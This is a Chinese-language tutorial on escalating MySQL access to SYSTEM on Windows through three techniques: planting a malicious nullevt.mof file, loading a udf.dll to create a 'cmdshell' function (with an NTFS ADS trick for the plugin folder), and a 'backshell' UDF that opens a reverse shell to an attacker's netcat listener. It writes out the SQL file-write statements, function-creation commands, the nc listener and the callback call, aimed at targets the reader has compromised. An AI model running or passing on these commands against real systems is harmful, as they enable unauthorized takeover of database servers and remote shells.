MOF提权
原理
在windows平台下(linux下不可用
),c:/windows/system32/wbem/mof/nullevt.mof这个文件会每间隔一段时间(很短暂)就会以system权限执行一次,所以,只要我们将我们先要做的事通过代码存储到这个mof文件中,就可以实现权限提升。
利用条件
mysql用户具有root权限(对上面那个目录可写)
关闭了secure-file-priv
利用方式
(1)找一个可写目录上传mof文件,我这里上传到了 C:/wmpub/nullevt.mof
代码如下
1 | namespace("\\\\.\\root\\subscription") |
其中的第18行的命令,上传前请自己更改。
这段代码只是在目标系统上添加了一个admin用户,并没有添加到管理员组(如果需要自行查找,网上很多),将这个文件存储为nullevt.mof
上传到任意一个你在目标机上可写的路径(当然,如果直接可以写到c:/windows/system32/wbem/mof/
就更好了),接下来就可以直接执行sql语句把该文件写入到目标路径。
(2)执行load_file及into dumpfile把文件导出到正确的位置即可
1 | select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof' |
UDF提权
原理
UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限
利用条件
1.Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
2.Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。
3.掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限的其它账号也可以。
4.可以将udf.dll写入到相应目录的权限。
注:关于plugin目录,可在mysql中执行:
1 | show variables like '%plugin%'; |
进行查看,这个目录也就是dll文件需要导入的目录
利用方式
udf提权这是最常见的提权方式了,但是往往在执行过程中老是遇到”Can’t open shared library”的情况,这里我们可以利用NTFS ADS流来解决这个问题。
1.最常见的是直接使用udf.php此类的工具来执行udf提权,具体如下。
连接到mysql以后,先导出udf.dll到c:\windows\system32目录下。
2.创建相应的函数并执行命令,具体如下
1 | create function cmdshell returns string soname 'udf.dll'; |
3.某些情况下,我们会遇到Can’t open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,但是默认情况下plugin不存在,怎么办? 还好有大牛研究出了利用NTFS ADS流来创建文件夹的方法
1 | select @@basedir; |
MySQL反弹Shell提权
其实这也属于udf提权,只不过应用场景不同,比如现在我们没有webshell但是我们却有偶然得到了mysql的root密码(弱口令等),恰巧目标机的数据库可以外联或者有phpmyadmin,那么我们就可以把上面udf.dll文件的内容先插入到数据表中,然后再导出到/lib/plugin目录。
注:这里我看到网上的资料都是讲mysql.txt导入到数据库中,mysql.txt也就是udf.dll文件的2进制转换为16进制,这里我不太清楚为什么需要转成十六进制,但是我知道如果udf.dll文件成功导入到plugin目录是可以成功反弹shell的
- 然后创建函数backshell
1
CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //创建backshell
- 在具备独立主机的服务器上执行监听
1
nc -vv -l -p 12345
- 最后执行backshell
1
select backshell("你的ip地址",12345);